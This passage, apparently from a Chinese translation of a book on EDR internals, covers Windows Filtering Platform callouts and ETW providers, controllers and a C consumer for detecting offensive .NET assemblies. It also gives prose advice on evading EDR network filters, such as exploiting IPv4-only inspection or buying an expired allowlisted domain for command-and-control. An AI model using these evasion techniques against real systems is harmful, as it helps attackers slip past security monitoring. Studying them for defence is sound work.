FilterId : 69085 ActionType : CalloutInspection
Name : windefend_resource_assignment_v4
LayerKeyName : FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4
CalloutKeyName : {58d7275b-2fd2-4b6c-b93a-30037e577d7e}
FilterId : 69087
ActionType : CalloutTerminating
Name : windefend_datagram_v6
LayerKeyName : FWPM_LAYER_DATAGRAM_DATA_V6
CalloutKeyName : {80cece9d-0b53-4672-ac43-4524416c0353}
FilterId : 69092
ActionType : CalloutInspection
Name : windefend_resource_assignment_v6
LayerKeyName : FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6
CalloutKeyName : {ced78e5f-1dd1-485a-9d35-7e44cc9d784d}
FilterId : 69088
清单 7-17:枚举与子过滤层相关的过滤器
对于我们的目的来说,这一层中最有趣的过滤器是 CalloutInspection,因为它将网络连接的内容发送到驱动程序,驱动程序会决定是否终止连接。您可以通过将回调的键名传递给 Get-FwCallout cmdlet 来检查回调。清单 7-18 显示了调查 Windows Defender 过滤器的过程。
PS > **Get-FwCallout |**
**>> Where-Object {$_.KeyName -eq '{d67b238d-d80c-4ba7-96df-4a0c83464fa7}'} |**
>> **select ***
Flags : ConditionalOnFlow, Registered
ProviderKey : 00000000-0000-0000-0000-000000000000
ProviderData : {}
ApplicableLayer : 3b89653c-c170-49e4-b1cd-e0eeeee19a3e
CalloutId : 302
Key : d67b238d-d80c-4ba7-96df-4a0c83464fa7
Name : windefend_stream_v4
Description : windefend
KeyName : {d67b238d-d80c-4ba7-96df-4a0c83464fa7}
SecurityDescriptor : `--snip--`
ObjectName : windefend_stream_v4
NtType : Name = Firewall - Index = -1
IsContainer : False
清单 7-18:使用 NtObjectManager 检查 WFP 过滤器
这些信息帮助我们确定正在检查的流量类型,因为它包括回调注册的层级;一个可以帮助更容易识别回调目的的描述;以及安全描述符,它可以被审计以发现任何可能授予过度控制的潜在配置错误。但它仍然不能告诉我们驱动程序到底在寻找什么。没有两个 EDR 供应商会以相同的方式检查相同的属性,因此,了解驱动程序正在检查什么的唯一方法是逆向工程它的回调例程。
然而,我们可以通过查找类似标准防火墙中发现的配置漏洞来评估 WFP 过滤器。毕竟,为什么要逆向工程一个驱动程序,而我们可以直接寻找可被滥用的规则呢?我最喜欢的规避检测的方法之一就是找到那些允许流量穿透的漏洞。例如,如果某个回调只监控 IPv4 流量,那么使用 IPv6 发送的流量就不会被检查。
因为绕过技术因供应商和环境的不同而有所不同,尝试查找那些明确允许流量到达特定目标的规则。根据我的经验,这些通常是针对特定环境部署 EDR 时实施的,而不是 EDR 的默认配置。有些规则甚至可能是过时的。比如你发现一条旧规则,允许所有到达某个域的 TCP 443 端口的出站流量。如果该域已经过期,你可能可以购买该域并将其用作 HTTPS 命令与控制通道。
还要寻找一些可以利用的特定过滤器配置。例如,一个过滤器可能会清除FWPM_FILTER_FLAG_CLEAR_ACTION_RIGHT。结果是,低优先级的过滤器将无法覆盖这个过滤器的决策。假设一个 EDR 明确允许流量访问某个域并清除了上述标志,即使低优先级的过滤器发出阻止命令,流量仍然会被允许离开。
(当然,像所有 WFP 的内容一样,这并不完全那么简单。如果在评估过滤器之前重置了一个标志,FWPS_RIGHT_ACTION_WRITE,它将否决这一决策。这被称为过滤器冲突,它会导致几件事情发生:流量被阻塞,生成审计事件,订阅通知的应用程序将收到通知,从而使它们意识到配置错误。)
总结来说,绕过 WFP 过滤器就像绕过传统防火墙:我们可以寻找 EDR 网络过滤驱动程序中规则集、配置和检查逻辑的漏洞,寻找将流量送出的方式。在特定环境和每个 EDR 的过滤器背景下评估每种技术的可行性。有些情况下,这可能仅仅是审查过滤规则,而在其他情况下,这可能意味着深入分析驱动程序的检查逻辑,以确定正在过滤什么内容以及如何过滤。
结论
网络过滤驱动程序具有允许、拒绝或检查主机上网络流量的能力。对于 EDR 来说,最相关的是这些驱动程序通过调用实现的检查功能。当攻击者的活动涉及网络堆栈时,比如命令和控制代理信标或横向移动,位于流量中的网络过滤驱动程序可以识别出其指示符。绕过这些调用要求理解它们希望检查的流量类型,并识别覆盖中的漏洞,这与标准防火墙规则审计并无太大区别。
第八章:8 WINDOWS 事件追踪

通过 Windows 事件追踪(ETW)日志记录功能,开发人员可以编写应用程序,发出事件、从其他组件接收事件,并控制事件追踪会话。这使得他们能够追踪代码的执行,监控或调试潜在问题。可以将 ETW 看作是 printf 调试的替代方案;这些消息通过一个公共通道,使用标准格式发出,而不是打印到控制台。
在安全环境中,ETW 提供了宝贵的遥测数据,否则终端代理无法获取。例如,通用语言运行时(CLR),它被加载到每个 .NET 进程中,利用 ETW 发出独特的事件,能够比任何其他机制提供更多关于托管代码执行情况的洞察。这使得 EDR 代理能够收集新的数据,从中创建新的警报或丰富现有事件。
ETW 很少因其简单性和易用性而受到赞扬,这在很大程度上归功于微软为其提供的极其复杂的技术文档。幸运的是,尽管 ETW 的内部工作原理和实现细节非常有趣,但你不需要完全理解其架构。本章将介绍 ETW 中与遥测相关的部分。我们将演示代理如何从 ETW 收集遥测数据,以及如何避免此类收集。
架构
ETW 涉及三个主要组件:提供者、消费者和控制器。这些组件在事件追踪会话中各自发挥独特的作用。以下概述了每个组件在 ETW 架构中的作用。
提供者
简单来说,提供者是发出事件的软件组件。这些组件可能包括系统的各个部分,如任务调度程序、第三方应用程序,甚至是内核本身。通常,提供者不是一个单独的应用程序或镜像,而是与该组件关联的主要镜像。
当这个提供者镜像执行一些有趣或令人担忧的代码路径时,开发人员可以选择让其发出与执行相关的事件。例如,如果应用程序处理用户身份验证,当身份验证失败时,它可能会发出事件。这些事件包含开发人员认为调试或监控应用程序所需的任何数据,从简单的字符串到复杂的结构体。
ETW 提供者具有 GUID,其他软件可以使用这些 GUID 来识别它们。此外,提供者还具有更为用户友好的名称,通常在它们的清单中定义,便于人类更轻松地识别它们。在默认的 Windows 10 安装中,约有 1,100 个注册的提供者。表 8-1 包含了终端安全产品可能会觉得有用的提供者。
表 8-1: 与安全监控相关的默认 ETW 提供者
| 提供者名称 | GUID | 描述 |
|---|---|---|
| Microsoft-Antimalware-Scan-Interface | 提供有关通过反恶意软件扫描接口(AMSI)传递的数据的详细信息 | |
| Microsoft-Windows-DotNETRuntime | 提供与在本地主机上执行的 .NET 程序集相关的事件 | |
| Microsoft-Windows-Audit-CVE | 提供一种机制,供软件报告尝试利用已知漏洞的行为 | |
| Microsoft-Windows-DNS-Client | 详细说明主机上的域名解析结果 | |
| Microsoft-Windows-Kernel-Process | 提供与进程的创建和终止相关的信息(类似于驱动程序可以使用的进程创建回调例程) | |
| Microsoft-Windows-PowerShell | 提供 PowerShell 脚本块日志记录功能 | |
| Microsoft-Windows-RPC | 包含与本地系统上 RPC 操作相关的信息 | |
| Microsoft-Windows-Security-Kerberos | 提供与主机上的 Kerberos 认证相关的信息 | |
| Microsoft-Windows-Services | 发出与服务的安装、操作和移除相关的事件 | |
| Microsoft-Windows-SmartScreen | 提供与 Microsoft Defender SmartScreen 相关的事件,以及其与从互联网下载的文件的交互 | |
| Microsoft-Windows-TaskScheduler | 提供与计划任务相关的信息 | |
| Microsoft-Windows-WebIO | 提供对系统用户发起的网页请求的可见性 | |
| Microsoft-Windows-WMI-Activity | 提供与 WMI 操作相关的遥测信息,包括事件订阅 |
ETW 提供者是可安全控制的对象,这意味着可以应用安全描述符。安全描述符为 Windows 提供了一种通过自主访问控制列表限制对该对象的访问,或者通过系统访问控制列表记录访问尝试的方式。列表 8-1 显示了应用于 Microsoft-Windows-Services 提供者的安全描述符。
PS > **$SDs = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Security**
PS > **$sddl = ([wmiclass]"Win32_SecurityDescriptorHelper").**
**>> BinarySDToSDDL($SDs.****'****0063715b-eeda-4007-9429-ad526f62696e****'****).**
**>> SDDL**
PS > **ConvertFrom-SddlString -Sddl $sddl**
Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {NT AUTHORITY\SYSTEM: AccessAllowed,
NT AUTHORITY\LOCAL SERVICE: AccessAllowed,
BUILTIN\Administrators: AccessAllowed}
SystemAcl : {}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
列表 8-1:评估应用于提供者的安全描述符
该命令通过提供者的 GUID 解析提供者注册表配置中的二进制安全描述符。然后,它使用 Win32 _SecurityDescriptorHelper WMI 类将注册表中的字节数组转换为安全描述符定义语言字符串。该字符串随后传递给 PowerShell cmdlet ConvertFrom-SddlString,以返回安全描述符的可读详细信息。默认情况下,该安全描述符仅允许 NT AUTHORITY\SYSTEM、NT AUTHORITY\LOCAL SERVICE 和本地管理员组成员访问。这意味着控制器代码必须以管理员身份运行,才能直接与提供者交互。
发出事件
目前,有四种主要技术允许开发人员从其提供者应用程序中发出事件:
托管对象格式 (MOF)
MOF 是定义事件的语言,使消费者知道如何接收和处理这些事件。为了使用 MOF 注册和写入事件,提供者分别使用 sechost!RegisterTraceGuids() 和 advapi!TraceEvent() 函数。
Windows 软件跟踪预处理器 (WPP)
类似于 Windows 事件日志,WPP 是一种系统,允许提供者记录事件 ID 和事件数据,最初以二进制格式存储,稍后格式化为可供人类阅读的形式。WPP 支持比 MOF 更复杂的数据类型,包括时间戳和 GUID,并作为 MOF 基于提供者的补充。与基于 MOF 的提供者类似,WPP 提供者使用 sechost!RegisterTraceGuids() 和 advapi!TraceEvent() 函数来注册和写入事件。WPP 提供者还可以使用 WPP_INIT_TRACING 宏来注册提供者 GUID。
清单
清单是包含定义提供者元素的 XML 文件,其中包括有关事件格式和提供者本身的详细信息。这些清单在编译时嵌入到提供者二进制文件中并注册到系统。使用清单的提供者依赖于 advapi!EventRegister() 函数来注册事件,并使用 advapi!EventWrite() 函数来写入事件。如今,这似乎是注册提供者的最常见方式,特别是那些随 Windows 一起发布的提供者。
跟踪日志记录 (TraceLogging)
在 Windows 10 中引入的 TraceLogging 是提供事件的最新技术。与其他技术不同,TraceLogging 允许自描述事件,这意味着消费者无需为事件注册任何类或清单,便能知道如何处理这些事件。消费者使用 Trace 数据助手(TDH)API 来解码和处理事件。这些提供者使用 advapi!TraceLoggingRegister() 和 advapi!TraceLoggingWrite() 来注册和写入事件。
无论开发者选择哪种方法,结果都是一样的:应用程序发出的事件供其他应用程序使用。
定位事件源
要理解为什么提供者会发出某些事件,通常查看提供者本身会很有帮助。不幸的是,Windows 并没有提供一种简单的方法将提供者的名称或 GUID 转换为磁盘上的映像。有时,你可以从事件的元数据中收集这些信息,但在许多情况下,尤其是当事件源是 DLL 或驱动程序时,发现它需要更多的努力。在这些情况下,可以考虑以下 ETW 提供者的属性:
-
提供者的 PE 文件必须引用其 GUID,通常是在 .rdata 区段,该区段保存只读初始化数据。
-
提供者必须是可执行代码文件,通常是 .exe、.dll 或 .sys 文件。
-
提供者必须调用注册 API(具体来说,对于用户模式应用程序是 advapi!EventRegister() 或 ntdll!EtwEventRegister(),对于内核模式组件是 ntoskrnl!EtwRegister())。
-
如果使用系统注册的清单,提供者的映像将位于注册表项 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers<PROVIDER_GUID> 中的 ResourceFileName 值。该文件将包含 WEVT_TEMPLATE 资源,这是清单的二进制表示。
你可以对操作系统中的文件进行扫描,并返回符合这些要求的文件。GitHub 上的开源工具 FindETWProviderImage 可以简化这个过程。清单 8-2 使用它来定位引用 Microsoft-Windows-TaskScheduler 提供者 GUID 的映像。
PS > **.\FindETWProviderImage.exe "Microsoft-Windows-TaskScheduler" "C:\Windows\System32\"**
Translated Microsoft-Windows-TaskScheduler to {de7b24ea-73c8-4a09-985d-5bdadcfa9017}
Found provider in the registry: C:\WINDOWS\system32\schedsvc.dll
Searching 5486 files for {de7b24ea-73c8-4a09-985d-5bdadcfa9017} …
Target File: C:\Windows\System32\aitstatic.exe
Registration Function Imported: True
Found 1 reference:
1) Offset: 0x2d8330 RVA: 0x2d8330 (.data)
Target File: C:\Windows\System32\schedsvc.dll
Registration Function Imported: True
Found 2 references:
1) Offset: 0x6cb78 RVA: 0x6d778 (.rdata)
2) Offset: 0xab910 RVA: 0xaf110 (.pdata) Target File: C:\Windows\System32\taskcomp.dll
Registration Function Imported: False
Found 1 reference:
1) Offset: 0x39630 RVA: 0x3aa30 (.rdata)
Target File: C:\Windows\System32\ubpm.dll
Registration Function Imported: True
Found 1 reference:
1) Offset: 0x38288 RVA: 0x39a88 (.rdata)
Total References: 5
Time Elapsed: 1.168 seconds
清单 8-2:使用 FindETWProviderImage 定位提供者二进制文件
如果你考虑一下输出,你会发现这种方法存在一些漏洞。例如,工具返回了事件的真实提供者,schedsvc.dll,但也返回了另外三个镜像。这些误报可能是因为镜像从目标提供者中消耗了事件,因此包含了提供者的 GUID,或者是因为它们产生了自己的事件,因此调用了其中一个注册 API。这个方法也可能会产生漏报;例如,当事件的来源是ntoskrnl.exe时,镜像在注册表中找不到,或者没有导入任何注册函数。
为了确认提供者的身份,你需要进一步调查该镜像。你可以使用一种相对简单的方法。在反汇编器中,导航到FindETWProviderImage报告的偏移量或相对虚拟地址,并查找任何来自调用注册 API 的函数的 GUID 引用。你应该能够看到 GUID 的地址被传递到注册函数的 RCX 寄存器中,如清单 8-3 所示。
schedsvc!JobsService::Initialize+0xcc:
00007ffe`74096f5c 488935950a0800 mov qword ptr [schedsvc!g_pEventManager],rsi
00007ffe`74096f63 4c8bce mov r9,rsi
00007ffe`74096f66 4533c0 xor r8d,r8d
00007ffe`74096f69 33d2 xor edx,edx
00007ffe`74096f6b 488d0d06680400 lea rcx,[schedsvc!TASKSCHED] ❶
00007ffe`74096f72 48ff150f570400 call qword ptr [schedsvc!_imp_EtwEventRegister ❷
00007ffe`74096f79 0f1f440000 nop dword ptr [rax+rax]
00007ffe`74096f7e 8bf8 mov edi,eax
00007ffe`74096f80 48391e cmp qword ptr [rsi],rbx
00007ffe`74096f83 0f84293f0100 je schedsvc!JobsService::Initialize+0x14022
清单 8-3:在 schedsvc.dll 内部的提供者注册函数的反汇编
在这段反汇编代码中,有两个指令对我们很重要。第一个是提供者 GUID 的地址被加载到 RCX 寄存器中 ❶。紧接着是调用导入的ntdll!EtwEventRegister()函数 ❷,将提供者注册到操作系统中。
弄清楚为什么一个事件被触发
到此为止,你已经确定了提供者。从这里开始,许多检测工程师会开始调查是什么条件触发了提供者发出事件。这个过程的细节超出了本书的范围,因为它们根据提供者的不同可能会有很大的差异,尽管我们将在第十二章中更深入地探讨这个话题。然而,通常来说,工作流程如下所示。
在反汇编器中,标记从事件注册 API 返回的REGHANDLE,然后查找该REGHANDLE的引用,来自一个写入 ETW 事件的函数,例如ntoskrnl!EtwWrite()。逐步执行该函数,查找传递给它的UserData参数的来源。跟踪从这个来源到事件写入函数的执行,检查是否存在任何条件分支会阻止事件的发出。对每一个指向全局REGHANDLE的独特引用重复这些步骤。
控制器
控制器是定义和控制跟踪会话的组件,跟踪会话记录由提供程序写入的事件,并将其刷新到事件消费者。控制器的任务包括启动和停止会话,启用或禁用与会话关联的提供程序,管理事件缓冲池的大小等。单个应用程序可能包含控制器和消费者代码;或者,控制器也可以是一个完全独立的应用程序,例如 Xperf 和 logman,它们是收集和处理 ETW 事件的两个工具。
控制器使用 sechost!StartTrace() API 创建跟踪会话,并使用 sechost!ControlTrace() 和 advapi!EnableTraceEx() 或 sechost!EnableTraceEx2() 进行配置。在 Windows XP 及以后的版本中,控制器最多可以启动并管理 64 个同时的跟踪会话。要查看这些跟踪会话,可以使用 logman,如 Listing 8-4 所示。
PS > **logman.exe query -ets**
Data Collector Set Type Status
-------------------------------------------------------------
AppModel Trace Running
BioEnrollment Trace Running
Diagtrack-Listener Trace Running
FaceCredProv Trace Running
FaceTel Trace Running
LwtNetLog Trace Running
Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace Trace Running
NetCore Trace Running
NtfsLog Trace Running
RadioMgr Trace Running
WiFiDriverIHVSession Trace Running
WiFiSession Trace Running UserNotPresentTraceSession Trace Running
NOCAT Trace Running
Admin_PS_Provider Trace Running
WindowsUpdate_trace_log Trace Running
MpWppTracing-20220120-151932-00000003-ffffffff Trace Running
SHS-01202022-151937-7-7f Trace Running
SgrmEtwSession Trace Running
Listing 8-4:使用 logman.exe 枚举跟踪会话
Data Collector Set 列下的每个名称表示一个独特的控制器,具有自己的下属跟踪会话。 Listing 8-4 中显示的控制器是内置于 Windows 中的,因为操作系统也大量使用 ETW 进行活动监控。
控制器还可以查询现有的跟踪以获取信息。 Listing 8-5 展示了这一过程。
PS > **logman.exe query 'EventLog-System' -ets**
Name: EventLog-System
Status: Running
Root Path: %systemdrive%\PerfLogs\Admin
Segment: Off
Schedules: On
Segment Max Size: 100 MB
Name: EventLog-System\EventLog-System
Type: Trace
Append: Off
Circular: Off
Overwrite: Off
Buffer Size: 64
Buffers Lost: 0
Buffers Written: 155
Buffer Flush Timer: 1
Clock Type: System
❶ File Mode: Real-time
Provider:
❷ Name: Microsoft-Windows-FunctionDiscoveryHost
Provider Guid: {538CBBAD-4877-4EB2-B26E-7CAEE8F0F8CB}
Level: 255
KeywordsAll: 0x0
❸ KeywordsAny: 0x8000000000000000 (System)
Properties: 65
Filter Type: 0
Provider:
Name: Microsoft-Windows-Subsys-SMSS
Provider Guid: {43E63DA5-41D1-4FBF-ADED-1BBED98FDD1D}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x4000000000000000 (System) Properties: 65
Filter Type: 0
`--snip--`
Listing 8-5:使用 logman.exe 查询特定的跟踪
该查询为我们提供了有关会话中启用的提供程序❷以及使用的过滤关键字❸的信息,是否为实时跟踪或基于文件的跟踪❶,以及性能数据。通过这些信息,我们可以开始理解该跟踪是否为 EDR 进行的性能监控或遥测收集。
消费者
消费者是接收事件的软件组件,这些事件在被跟踪会话记录后送达。它们可以从磁盘上的日志文件中读取事件,也可以实时消费事件。由于几乎每个 EDR 代理都是实时消费者,我们将专注于这类消费者。
消费者使用 sechost!OpenTrace() 连接到实时会话,并使用 sechost!ProcessTrace() 开始从中消费事件。每次消费者收到新事件时,一个内部定义的回调函数根据提供者提供的信息(如事件清单)解析事件数据。消费者然后可以选择对这些信息执行任意操作。在端点安全软件的情况下,这可能意味着创建警报、采取一些预防措施,或将活动与其他传感器收集的遥测数据关联起来。
创建一个消费者来识别恶意 .NET 程序集
让我们逐步了解开发消费者并处理事件的过程。在本节中,我们将识别恶意内存中的 .NET 框架程序集的使用,例如 Cobalt Strike 的 Beacon execute-assembly 功能使用的那些程序集。识别这些程序集的一种策略是寻找属于已知攻击性 C# 项目的类名。尽管攻击者可以通过更改恶意软件的类名和方法轻松绕过此技巧,但它仍然是识别不修改工具的较低技术水平攻击者使用工具的一种有效方式。
我们的消费者将从 Microsoft-Windows-DotNETRuntime 提供者中获取过滤后的事件,特别是关注与 Seatbelt 相关的类,Seatbelt 是一种后期利用的 Windows 侦察工具。
创建追踪会话
要开始消费事件,我们必须首先使用 sechost!StartTrace() API 创建一个追踪会话。此函数接受一个指向 EVENT_TRACE_PROPERTIES 结构体的指针,该结构体在示例 8-6 中定义。(在运行 Windows 1703 版本之后的系统上,函数可能会选择接受一个指向 EVENT_TRACE_PROPERTIES_V2 结构体的指针。)
typedef struct _EVENT_TRACE_PROPERTIES {
WNODE_HEADER Wnode;
ULONG BufferSize;
ULONG MinimumBuffers;
ULONG MaximumBuffers;
ULONG MaximumFileSize;
ULONG LogFileMode;
ULONG FlushTimer;
ULONG EnableFlags;
union {
LONG AgeLimit;
LONG FlushThreshold;
} DUMMYUNIONNAME;
ULONG NumberOfBuffers;
ULONG FreeBuffers;
ULONG EventsLost;
ULONG BuffersWritten;
ULONG LogBuffersLost;
ULONG RealTimeBuffersLost;
HANDLE LoggerThreadId;
ULONG LogFileNameOffset;
ULONG LoggerNameOffset;
} EVENT_TRACE_PROPERTIES, *PEVENT_TRACE_PROPERTIES;
示例 8-6:EVENT_TRACE_PROPERTIES 结构体定义
该结构体描述了追踪会话。消费者将填充该结构体并将其传递给一个启动追踪会话的函数,如示例 8-7 所示。
static const GUID g_sessionGuid =
{0xb09ce00c, 0xbcd9, 0x49eb,
{0xae, 0xce, 0x42, 0x45, 0x1, 0x2f, 0x97, 0xa9}
};
static const WCHAR g_sessionName[] = L"DotNETEventConsumer";
int main()
{
ULONG ulBufferSize =
sizeof(EVENT_TRACE_PROPERTIES) + sizeof(g_sessionName);
PEVENT_TRACE_PROPERTIES pTraceProperties =
(PEVENT_TRACE_PROPERTIES)malloc(ulBufferSize);
if (!pTraceProperties)
{
return ERROR_OUTOFMEMORY;
}
ZeroMemory(pTraceProperties, ulBufferSize);
pTraceProperties->Wnode.BufferSize = ulBufferSize;
pTraceProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pTraceProperties->Wnode.ClientContext = 1;
pTraceProperties->Wnode.Guid = g_sessionGuid;
pTraceProperties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
pTraceProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); wcscpy_s(
(PWCHAR)(pTraceProperties + 1),
wcslen(g_sessionName) + 1,
g_sessionName);
DWORD dwStatus = 0;
TRACEHANDLE hTrace = NULL;
while (TRUE) {
dwStatus = StartTraceW(
&hTrace,
g_sessionName,
pTraceProperties);
if (dwStatus == ERROR_ALREADY_EXISTS)
{
dwStatus = ControlTraceW(
hTrace,
g_sessionName,
pTraceProperties,
EVENT_TRACE_CONTROL_STOP);
}
if (dwStatus != ERROR_SUCCESS)
{
return dwStatus;
}
`--snip--`
}
示例 8-7:配置追踪属性
我们填充指向跟踪属性中的 WNODE_HEADER 结构。请注意,Guid 成员包含的是跟踪会话的 GUID,而不是所需提供者的 GUID。此外,跟踪属性结构中的 LogFileMode 成员通常设置为 EVENT_TRACE_REAL_TIME_MODE,以启用实时事件跟踪。
启用提供者
该跟踪会话尚未开始收集事件,因为没有为其启用任何提供者。为了添加提供者,我们使用 sechost!EnableTraceEx2() API。此函数将先前返回的 TRACEHANDLE 作为参数,并在 Listing 8-8 中定义。
ULONG WMIAPI EnableTraceEx2(
[in] TRACEHANDLE TraceHandle,
[in] LPCGUID ProviderId,
[in] ULONG ControlCode,
[in] UCHAR Level,
[in] ULONGLONG MatchAnyKeyword,
[in] ULONGLONG MatchAllKeyword, [in] ULONG Timeout,
[in, optional] PENABLE_TRACE_PARAMETERS EnableParameters
);
Listing 8-8: sechost!EnableTraceEx2() 函数定义
ProviderId 参数是目标提供者的 GUID,Level 参数决定了传递给消费者的事件的严重性。它的范围可以从 TRACE_LEVEL_VERBOSE (5) 到 TRACE_LEVEL_CRITICAL (1)。消费者将接收所有级别小于或等于指定值的事件。
MatchAllKeyword 参数是一个位掩码,只有当事件的关键字位与该值中设置的所有位匹配时,事件才会被写入(或者如果事件没有设置关键字位)。在大多数情况下,该成员设置为零。MatchAnyKeyword 参数是一个位掩码,只有当事件的关键字位与该值中设置的任意位匹配时,事件才会被写入。
EnableParameters 参数允许消费者在每个事件中接收一个或多个扩展数据项,包括但不限于以下内容:
EVENT_ENABLE_PROPERTY_PROCESS_START_KEY 标识进程的序列号,保证在当前启动会话中唯一
EVENT_ENABLE_PROPERTY_SID 事件发出时的主体的安全标识符,例如系统的用户
EVENT_ENABLE_PROPERTY_TS_ID 事件发出时的终端会话标识符
EVENT_ENABLE_PROPERTY_STACK_TRACE 如果事件是使用advapi!EventWrite() API 写入的,则该值会添加调用堆栈。
sechost!EnableTraceEx2() API 可以将任意数量的提供程序添加到跟踪会话中,每个提供程序都有自己的过滤配置。列表 8-9 继续展示了 列表 8-7 中的代码,并演示了此 API 的常见用法。
❶ static const GUID g_providerGuid =
{0xe13c0d23, 0xccbc, 0x4e12,
{0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4}
};
int main()
{
`--snip--`
dwStatus = EnableTraceEx2(
hTrace,
&g_providerGuid,
EVENT_CONTROL_CODE_ENABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
❷ 0x2038,
0,
INFINITE,
NULL); if (dwStatus != ERROR_SUCCESS)
{
goto Cleanup;
}
`--snip--`
}
列表 8-9:为跟踪会话配置提供程序
我们将 Microsoft-Windows-DotNETRuntime 提供程序 ❶ 添加到跟踪会话,并将 MatchAnyKeyword 设置为使用 Interop (0x2000)、NGen (0x20)、Jit (0x10) 和 Loader (0x8) 关键字 ❷。这些关键字使我们能够过滤掉不感兴趣的事件,只收集与我们试图监视的内容相关的事件。
启动跟踪会话
在完成所有这些准备工作后,我们可以启动跟踪会话。为此,EDR 代理会调用 sechost!OpenTrace(),并将指向 列表 8-10 中定义的 EVENT_TRACE_LOGFILE 结构的指针作为唯一参数传递。
typedef struct _EVENT_TRACE_LOGFILEW {
LPWSTR LogFileName;
LPWSTR LoggerName;
LONGLONG CurrentTime;
ULONG BuffersRead;
union {
ULONG LogFileMode;
ULONG ProcessTraceMode;
} DUMMYUNIONNAME;
EVENT_TRACE CurrentEvent;
TRACE_LOGFILE_HEADER LogfileHeader;
PEVENT_TRACE_BUFFER_CALLBACKW BufferCallback;
ULONG BufferSize;
ULONG Filled;
ULONG EventsLost;
union {
PEVENT_CALLBACK EventCallback;
PEVENT_RECORD_CALLBACK EventRecordCallback;
} DUMMYUNIONNAME2;
ULONG IsKernelTrace;
PVOID Context;
} EVENT_TRACE_LOGFILEW, *PEVENT_TRACE_LOGFILEW;
列表 8-10:EVENT_TRACE_LOGFILE 结构定义
列表 8-11 演示了如何使用此结构。
int main()
{
`--snip--`
EVENT_TRACE_LOGFILEW etl = {0}; ❶ etl.LoggerName = g_sessionName;
❷ etl.ProcessTraceMode = PROCESS_TRACE_MODE_EVENT_RECORD |
PROCESS_TRACE_MODE_REAL_TIME;
❸ etl.EventRecordCallback = OnEvent;
TRACEHANDLE hSession = NULL;
hSession = OpenTrace(&etl);
if (hSession == INVALID_PROCESSTRACE_HANDLE)
{
goto Cleanup;
}
`--snip--`
}
列表 8-11:将 EVENT_TRACE_LOGFILE 结构传递给 sechost!OpenTrace()
虽然这是一个相对较大的结构体,但只有三个成员与我们直接相关。LoggerName 成员是跟踪会话的名称 ❶,ProcessTraceMode 是一个位掩码,包含 PROCESS_TRACE_MODE_EVENT_RECORD(0x10000000)的值,表示事件应使用 Windows Vista 中引入的 EVENT_RECORD 格式,以及 PROCESS_TRACE_MODE_REAL_TIME(0x100),表示事件应实时接收 ❷。最后,EventRecordCallback 是指向内部回调函数的指针 ❸(稍后介绍),ETW 在每个新事件发生时会调用该函数,并将一个 EVENT_RECORD 结构体传递给它。
当 sechost!OpenTrace() 完成时,它返回一个新的 TRACEHANDLE(在我们的示例中是 hSession)。然后我们可以将这个句柄传递给 sechost!ProcessTrace(),如列表 8-12 所示,开始处理事件。
void ProcessEvents(PTRACEHANDLE phSession)
{
FILETIME now;
❶ GetSystemTimeAsFileTime(&now);
ProcessTrace(phSession, 1, &now, NULL);
}
int main()
{
`--snip--`
HANDLE hThread = NULL;
❷ hThread = CreateThread(
NULL, 0,
ProcessEvents,
&hSession,
0, NULL);
if (!hThread)
{
goto Cleanup;
} `--snip--`
}
列表 8-12:创建处理事件的线程
我们将当前系统时间 ❶ 传递给 sechost!ProcessTrace(),告诉系统我们只想捕获此时间之后发生的事件。当调用此函数时,它将接管当前线程,因此,为了避免完全阻塞应用程序的其他部分,我们为跟踪会话创建一个新的线程 ❷。
假设没有返回错误,事件应该开始从提供者流向消费者,并在 EVENT_TRACE_LOGFILE 结构体的 EventRecordCallback 成员指定的内部回调函数中进行处理。我们将在“处理事件”一节中讲解这个函数,见第 158 页。
停止跟踪会话
最后,我们需要一种方式来在需要时停止跟踪。一个方法是使用全局布尔值,当需要停止跟踪时,我们可以改变这个值,但任何可以通知线程退出的技术都可以使用。不过,如果外部用户能够调用此方法(例如在未检查的 RPC 函数的情况下),恶意用户可能会通过跟踪会话完全停止代理收集事件。列表 8-13 展示了停止跟踪的可能方式。
HANDLE g_hStop = NULL;
BOOL ConsoleCtrlHandler(DWORD dwCtrlType)
{
❶ if (dwCtrlType == CTRL_C_EVENT) {
❷ SetEvent(g_hStop);
return TRUE;
}
return FALSE;
}
int main()
{
`--snip--`
g_hStop = CreateEvent(NULL, TRUE, FALSE, NULL);
SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE);
WaitForSingleObject(g_hStop, INFINITE);
❸ CloseTrace(hSession);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(g_hStop);
CloseHandle(hThread); return dwStatus
}
列表 8-13:使用控制台控制处理程序来信号线程退出
在此示例中,我们使用一个内部控制台控制处理程序例程 ConsoleCtrlHandler(),并且使用一个事件对象来监视 CTRL-C 键盘组合 ❶。当处理程序检测到此键盘组合时,内部函数会通知 事件对象 ❷,这是一种常用于通知线程某些事件已经发生的同步对象,然后返回。由于事件对象已经被信号通知,应用程序恢复执行并关闭跟踪会话 ❸。
处理事件
当消费者线程接收到一个新事件时,它的回调函数(在我们的示例代码中为 OnEvent())会被调用,并传递一个指向 EVENT_RECORD 结构的指针。这个结构在列表 8-14 中定义,表示整个事件。
typedef struct _EVENT_RECORD {
EVENT_HEADER EventHeader;
ETW_BUFFER_CONTEXT BufferContext;
USHORT ExtendedDataCount;
USHORT UserDataLength;
PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;
PVOID UserData;
PVOID UserContext;
} EVENT_RECORD, *PEVENT_RECORD;
列表 8-14: EVENT_RECORD 结构定义
